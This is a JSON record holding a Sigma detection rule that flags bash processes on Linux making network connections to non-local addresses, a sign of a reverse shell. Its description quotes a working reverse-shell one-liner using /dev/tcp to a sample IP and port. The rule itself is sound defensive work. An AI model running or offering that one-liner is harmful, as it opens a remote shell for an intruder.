{"id":"83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871","title":"Linux Reverse Shell Indicator","description":"Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')","author":"Florian Roth (Nextron Systems)","status":"test","level":"critical","date":"2021-10-16","modified":"2022-12-25","tags":["attack.execution","attack.t1059.004"],"technique_ids":["T1059.004"],"logsource":{"product":"linux","category":"network_connection"},"falsepositives":["Unknown"],"references":["https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"],"source_path":"rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml","source_sha256":"2325a7cbc9a0d2d6b833ebb7d2fade2e089b97e316ec687705c62069ec479fab","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml","license":"Detection Rule License 1.1","license_url":"https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md","yaml":"title: Linux Reverse Shell Indicator\nid: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871\nstatus: test\ndescription: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')\nreferences:\n    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-10-16\nmodified: 2022-12-25\ntags:\n    - attack.execution\n    - attack.t1059.004\nlogsource:\n    product: linux\n    category: network_connection\ndetection:\n    selection:\n        Image|endswith: '/bin/bash'\n    filter:\n        DestinationIp:\n            - '127.0.0.1'\n            - '0.0.0.0'\n    condition: selection and not filter\nfalsepositives:\n    - Unknown\nlevel: critical\n","validation":"yaml_parsed_not_backend_compiled_or_live_validated","techniques":[{"key":"enterprise/T1059.004","id":"T1059.004","name":"Unix Shell","page":"techniques/enterprise/T1059.004/"}],"data_path":"data/detection-rules/83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871.json","kind":"sigma"}